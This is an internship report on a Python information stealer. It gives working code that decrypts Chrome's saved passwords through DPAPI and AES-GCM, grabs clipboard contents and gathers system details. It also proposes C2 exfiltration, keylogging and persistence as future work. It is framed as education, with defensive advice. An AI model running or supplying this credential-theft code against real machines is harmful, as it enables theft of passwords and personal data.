Internship Report: Information Stealer Using Python

Intern Name: Prem Kumar

Project Title: Information Stealer Using Python

Internship Organization: Inlighn Tech

Abstract

The **Information Stealer Using Python** is an educational tool designed to simulate how malicious software collects sensitive user data like saved passwords, clipboard contents, and system information. The project helps in understanding real-world cybersecurity vulnerabilities, browser forensics, system reconnaissance, and defensive strategies. This project was built strictly for learning purposes in a **controlled lab environment**, and it highlights how attackers gain unauthorized access to sensitive user information using Python-based tools.

Objective

- Simulate an information-stealing attack using Python.
- Extract saved browser passwords from Chrome.
- Capture clipboard data (recently copied content).
- Gather detailed system information like IP, OS, MAC address, and hardware specs.
- Understand how malicious actors exploit vulnerabilities and how to mitigate them.

Tools and Libraries Used

Tool/Library	Purpose
`os, sys`	Interact with operating system and paths

`json`	Handle structured config files (Chrome data)
`sqlite3`	Access Chrome password database
`pyperclip`	Capture clipboard data
`base64`, `cryptography`	Decrypt saved browser credentials
`platform`, `socket`	Retrieve OS and network information
`requests`	Fetch public IP using external API
`win32crypt`	Windows API-based password decryption (legacy)

Project Overview

The information stealer tool performs the following tasks:

1. **Password Extraction** – Retrieves and decrypts saved passwords from Google Chrome.
2. **Clipboard Hijacking** – Captures and logs the latest copied content.
3. **System Info Gathering** – Collects system, network, and hardware details.
4. **Data Storage** – Writes stolen data to a local file for review.

Each component serves to simulate a commonly exploited vulnerability and educate students on how to defend against such threats.

How the Project Works

1. Extracting Saved Browser Passwords

- Chrome stores user credentials in an SQLite database (`Login Data`) and encrypts them using system-provided keys.
- The encryption key is stored in Chrome's `Local State` JSON file.
- The script:
    - Extracts and decodes the encryption key.
    - Opens the `Login Data` SQLite DB.
    - Decrypts saved credentials using AES or `win32crypt`.

Key Code Snippet:

```
└─$ import os, json, base64, sqlite3
from Cryptodome.Cipher import AES
import win32crypt

def get_encryption_key():
    local_state_path = os.path.join(os.environ['USERPROFILE'],
                                    "AppData\\Local\\Google\\Chrome\\User Data\\Local State")
    with open(local_state_path, "r") as file:
        local_state = json.loads(file.read())
    encrypted_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    encrypted_key = encrypted_key[5:]  # Strip DPAPI prefix
    return win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]

def decrypt_password(password, key):
    iv = password[3:15]
    payload = password[15:]
    cipher = AES.new(key, AES.MODE_GCM, iv)
    return cipher.decrypt(payload)[:-16].decode()
```

Output:

```
└─$ URL: https://www.example.com
Username: premkumar
Password: mysecurepassword123
```

2. Capturing Clipboard Data

The tool reads the current clipboard content, which may include:

- Credit card numbers
- Email addresses
- Passwords

- Sensitive notes

Code Snippet:

```
└─$ import pyperclip

def steal_clipboard():
    try:
        data = pyperclip.paste()
        return data
    except:
        return "Clipboard capture failed."
```

Output:

```
└─$ Clipboard Content:
sk123@BankPwd!
```

3. Gathering System Information

The tool collects:

- Hostname
- OS Name & Version
- Local and Public IP Address
- MAC Address
- Processor Info

Code Snippet:

```
└─$ import platform, socket, uuid, requests

def get_system_info():
    info = {}
    info["Hostname"] = socket.gethostname()
    info["OS"] = platform.system() + " " + platform.release()
    info["Processor"] = platform.processor()
    info["Local IP"] = socket.gethostbyname(socket.gethostname())
    info["MAC"] = ':'.join(['{:02x}'.format((uuid.getnode() >> ele) & 0xff)
                            for ele in range(0, 8*6, 8)][::-1])
    try:
        info["Public IP"] = requests.get("https://api.ipify.org").text
    except:
        info["Public IP"] = "Unavailable"
    return info
```

Output:

```
└─$ Hostname: DESKTOP-PREM
OS: Windows 10
Processor: Intel(R) Core(TM) i5-1035G1 CPU
Local IP: 192.168.1.15
Public IP: 103.48.12.67
MAC Address: a4:b1:c1:8e:27:dd
```

Final Log File (example.txt)

```
└─$ ─── SYSTEM INFORMATION ──
Hostname: DESKTOP-PREM
OS: Windows 10
IP Address: 192.168.1.15
Public IP: 103.48.12.67

─── SAVED CREDENTIALS ──
URL: https://example.com
Username: prem
Password: test@123

─── CLIPBOARD DATA ──
Last Copied: amazon@bank123
```

Key Cybersecurity Concepts Covered

Concept	Description
Browser Forensics	Extracting sensitive data from Chrome's SQLite DB
Clipboard Hijacking	Capturing sensitive copied content
System Reconnaissance	Gathering OS and network data
Encryption/Decryption	AES decryption of stored passwords
Ethical Hacking	Understanding how data leaks occur in real-world malware
Windows API	Decryption via DPAPI on Windows systems

Learning Outcomes

By completing this project, I learned:

- How web browsers store credentials and how they can be accessed.
- The use of **Base64**, **DPAPI**, and **AES encryption** in password security.
- Techniques used by attackers to gather local and remote system data.
- Clipboard vulnerabilities and how they can be exploited.
- Ethical usage of malware simulation tools in cybersecurity labs.

Defensive Measures

To defend against such tools:

- Use password managers instead of browser-stored credentials.
- Encrypt sensitive clipboard content.
- Monitor system processes for unknown scripts.
- Enable endpoint detection systems (EDRs).
- Block outbound connections from unauthorized programs.

Ethical and Legal Disclaimer

This project was executed strictly in a **controlled environment** for educational purposes. Unauthorized data collection is illegal and violates **cybercrime laws** (e.g., IT Act 2000, GDPR). Always seek written permission before conducting penetration testing or running data-gathering scripts on any machine.

Future Enhancements

- Add **keylogger** functionality to track typed input.
- Implement **remote exfiltration** to send logs to a C2 server.
- Enable **multi-browser support** (Edge, Firefox).
- Add **real-time clipboard monitoring**.
- Hide script during startup (**persistence techniques**).

Conclusion

This project gave me hands-on experience with offensive security and Python-based scripting. By understanding how information stealers operate, I gained insights into the tactics used by cybercriminals and how to defend against them. The project helped me build a solid foundation in ethical hacking, browser forensics, and secure development practices.